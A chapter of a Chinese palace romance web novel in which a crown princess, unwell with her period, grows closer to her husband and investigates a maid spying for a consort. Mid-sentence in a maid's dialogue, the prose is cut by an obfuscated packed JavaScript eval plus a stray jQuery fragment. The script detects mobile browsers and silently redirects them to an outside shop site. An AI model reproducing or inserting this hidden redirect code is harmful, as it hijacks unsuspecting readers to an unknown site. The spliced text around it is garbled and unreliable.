二更时分,该安歇了。
司韶瑶怕葵水淌出来,套了一条半截夹棉的绸裤,方才敢躺下。
好在寝间内远远搁着几盆冰,她穿了许多,身上也不算太热。
司韶瑶正暗自庆幸着,却发觉入眠的顾应珩又伸手来搂她。
司韶瑶隐隐有些忧心。
她葵水来得多,无论穿多厚的寝裤,味儿终究掩不住。
要是他嗅见了……
司韶瑶慌张得浑身发颤。
她咽了咽唾沫,打算设法推开他,刚转身,却对上了一双乌瞳。
司韶瑶登时大惊失色:“你醒着?”
顾应珩冷不防她会翻身,亦吃了一惊,下意识辩解:“我刚醒……”
“骗鬼呢!瞳光清明,声音中气十足,我瞧你精神得很,哪里像刚醒?”
司韶瑶气得在他胳膊上掐了一把。
“这么说来,你一向是清醒着在占我便宜?”
黑沉沉的纱帐内一片沉寂。
司韶瑶更是来气,正欲再骂,却被牢牢圈在了臂膀之间。
“既然叫你发觉了,我便不落客套了。”
顾应珩憋着笑,将妻子搂入怀。
他早便垂涎正身了,这会儿趁便,总算得了手。
顾应珩高兴着,司韶瑶却是忧心更重。
她琢磨了一阵,终究还是问出了口:“你……会不会嫌我味儿大?”
顾应珩错愕:“甚么味?”
司韶瑶支支吾吾道:“你、你见着了……就是月信……”
她说了半句,已羞得面红耳赤,恨不得榻下裂条缝,好让她钻进去。
顾应珩轻笑了下,搂得更紧了些:
“没嗅见。说来,要不是这一出,我还近不得身呢,该谢月信赏的恩才是。”
“没个正经……”
司韶瑶轻骂了一句。
她将手收拢又摊开,犹豫一阵后,也环在了男子腰间。
面颊上的热似又滚烫了些许。
司韶瑶埋首在胸膛上,分不清是谁的心在乱跳着。
拥着她的青年瘦削颀长,论身量、脾性,终究不如父兄那般威风八面。
她原以为,她的夫婿该是沙场好汉那类人物。
然而此刻,她却觉着这般货色也不赖。
***
清晨,司韶瑶睁眼时,床榻另一侧已空。
翠帷顶处,日晖金光分外晃眼。
她揉了揉眼,揭开丝衾坐起来,忽地身下一股热意袭来。
“哎……”
司韶瑶弓起身子,双手捂住了小腹处。
躺着还好些,一坐起,肚中胀痛更甚。这月信可真折腾人。
司韶瑶捏了把汗,赶忙望向身下,幸好穿得厚实,没染及铺衾。
她松了口气,扯过边上备用的小裤,下榻来拾掇。
采芝端着盆从屏外踏入,见了这一幕,忙上前来:
“太子妃,您怎么起来了。快放着,让婢伺候您罢。”
司韶瑶瞧了瞧采芝,面露难堪地搁下裤。
虽说她自幼惯于使唤人。但每回遇到月信,她总偷偷摸摸的,连近身丫鬟也不用。
采芝似瞧出了她心思,笑道:
“太子妃不必害臊,婢是上了年纪的人了,早见惯了这些。”
司韶瑶点点头,对采芝又多了几分好感:
“近来总劳你伺候。听闻年底开恩放宫女,不知你有没有心思出去呢?”
采芝摇摇头:
“婢在宫里做了一辈子活儿,外头也没甚么亲近家人。何必再多此一举呢?
太子妃莫不是嫌我老了不中用?”
“哪里话,有你这样的姑姑在身边,我倒安心许多。”
司韶瑶拉着采芝的手笑。
她忆起昨日之事,又有些担忧,便问:
“昨儿我在寝殿前来葵水,闹了大丑,又害太子脏了袍服。
姑姑觉着,宫里诸人会如何看待此事?”
采芝笑笑:“恐怕艳羡您还来不及。”
“是、是么……”
司韶瑶纳闷地挠挠腮。
“有何艳羡之处?”
“自然是羡慕太子与您伉俪情深了。
太子妃年轻能干,又得夫婿心,莫说在宫里,便是满京城里,又有多少女子能如您一般呢?”
司韶瑶听采芝这般说,心底冒出一丝说不清道不明的异样。
原来在旁人眼中,她与顾应珩伉俪情深?
若是早半个月前,她恐怕会着恼。可如今听来,倒不觉这话刺耳。
司韶瑶抿了抿唇,回过神来,才发现采芝竟替她盘了个松松的扁髻。
这是她在殿里躲懒时才梳的发式。
顶着这一头,可出不了宫门。
司韶瑶责怪道:
“采芝姑姑,瞧你给我梳的是甚么头?快换了,一会儿我还要去毓德宫盯人哩!”
采芝愣住了:
“太子妃,您来了月信,不好生将养着,怎么还要去那处晒?”
“内宫监那帮子人,我若不去盯紧了,他们必定又偷闲不务正业!”
司韶瑶拿起镜台上的金丝?髻套,在头上比划了几下。
“快,换成这个。再给我拿条厚棉裤来。”
话音刚落,小腹一阵冷袭来。她不免又捂起肚子,嘴里轻轻抽气。
采芝见了甚是无奈:
“您别折腾自个儿了。回头太子怪罪起来,倒霉的还不是我们这些侍从?
要盯人,我替您看着去。”
“光你去,万一李监掌耍诈,你压得住么?”
“太子妃小瞧奴婢了,我好歹也是几十岁的宫人。
李纶世当年还是个小黄门时,我就见过几回。若他再闹腾起来,婢去叫他师傅来打头。”
采芝搁下玉梳,叫巧春来伺候,自己则朝外去了。
司韶瑶见此,只好暂且歇了心思。
她身上确也不算好受,在榻上小憩了一阵,用汤婆子捂了许久肚子,才缓过疼来。
巧春端着点心盘与话本而来,问:“太子妃今日要看哪一册?”
司韶瑶摆摆手:“今日眼花,无心再看,你放回去罢。”
“是。”
巧春搁下糕点盘,将几册话本照旧拿回架上。
司韶瑶望着宫女倩影,忽而想起先前交代巧春的事。
也不知让她盯着香梅,有否盯出名堂来?
司韶瑶招巧春过来问话:
“前日我让你盯着香梅,你发现甚么端倪没?”
巧春点点头,说:
“奴婢留心问过,得知香梅时常借口去内府取物出东宫。每回她都早出晚归。
听外头洒扫的宫人说,香梅常往栖霞宫、乾东所那两处去。”
司韶瑶听罢,挑了挑眉。
春梅果真与沈贵妃、太子有勾当。如今多方验证,可谓确凿了。
但不知沈贵妃派这个耳目来,是有多少事要探听?
司韶瑶又问:
“香梅平日在东宫里头,除了殿前洒扫,还有别的活计,或是可疑行径么?”
巧春摇了摇头,答道:
“奴婢没瞧出端倪来。但听院里人说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17844391|211709||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,她似乎在前殿有个相好的,老偷偷摸摸过去见呢!”
前殿?
司韶瑶陷入了沉思。
沈贵妃既然会安插来耳目,必定不是传点分房风声就罢休的,或许也不止派了一个。
难不成,前头也有个栖霞宫耳目,他们要联手行甚么大计?
司韶瑶暂且想不透。
她琢磨着,此事也非她一人之事,与其冥思苦想,不如去找顾应珩行个商议。
司韶瑶打定主意,恰好身子也缓过来了。
她慢慢起身,忽瞥见桌上的几块糕点。
她记起来,顾应珩钟意吃糕点。这几块不如就拿去与他分食。
司韶瑶喜滋滋思忖着,让巧春拿了食盒来装。
巧春见她又要动身,忙劝道:
“太子妃,您快歇歇罢。要是折损了身子怎么好?”
“放心,我又不是怀胎,区区月信罢了。
再说,我不踏出宫门,只是去前殿瞧瞧太子而已,没几步路。”
司韶瑶满不在乎地说着,将糕点全扫进食盒,径直出了寝殿。
巧春阻拦不及,只好拿了伞在旁跟着,替她遮阳。
***
司韶瑶提着食盒,一路到了前头官吏行走处。
阿茂远远瞧见了旧主子,兴冲冲甩着两道官袖跑来拜见:
“下官见过太子妃!”
司韶瑶未料先遇见了这厮,一时诧异:
“你今日怎么这般殷勤恭敬?”
“瞧太子妃说的,下官素来恭敬呀!”
阿茂笑嘻嘻地插科打诨完,转而肃起面色,凑近低语道:
“二姑娘,您先前让小的留意可疑之人,小的已经摸清楚了。”
司韶瑶本忘了这茬,经他一提,霎时想了起来。
对了,她不仅吩咐过侍女,前殿也委派过阿茂探听。
正好,她就是要来问此事,这会儿先讨个明白。
司韶瑶忙叫巧春看着人,自个儿则与阿茂走至屋角下说悄悄话。
“怎样,你探出谁来了?”
“奴才打探了好几日,发觉看茶太监与后头的小宫女来往甚密。
他们俩像是有说不完的话,常关起门来不知作甚。
哎,听守夜的侍卫说,那小宫女晚上还常来找太监,两人换班哩……”
阿茂贼眉鼠眼,举起两个大拇指比划。
司韶瑶则翻了个白眼,数落道:
“说了半日,没个重点。这太监是谁,小宫女又是谁?”
“太监叫方根儿,专伺候太子、宾客房里用茶。至于小宫女,似乎是叫香梅。”
“他们换过甚么班?”
“似乎是太子书房守夜的班。那小宫女代替方根儿进去添茶,太子殿下也没多说甚么。”
司韶瑶闻言,微微蹙了眉心。
她从来没听顾应珩提起过这事。
莫非,顾应珩没留意到换茶之人变了?等会儿她得告诉他一声才行。
司韶瑶抿了抿唇,暂且打住念头,转头称赞起阿茂:
“不错嘛,还真让你打听出消息来了!”
“嘿嘿,您交的差,小的哪敢耽误。”
阿茂搓了搓手,讨起赏来。
“二姑娘,有便在太子殿下跟前替小的美言几句,小的万死不辞啊!”
“哼,德行!罢了,我知晓了。”
司韶瑶从食盒里掏出一块点心,随手丢去。
阿茂如条训好的狗一般稳接住,开心告辞离开。
司韶瑶得了此信,心里更有了些说法,走向书房去寻顾应珩商议。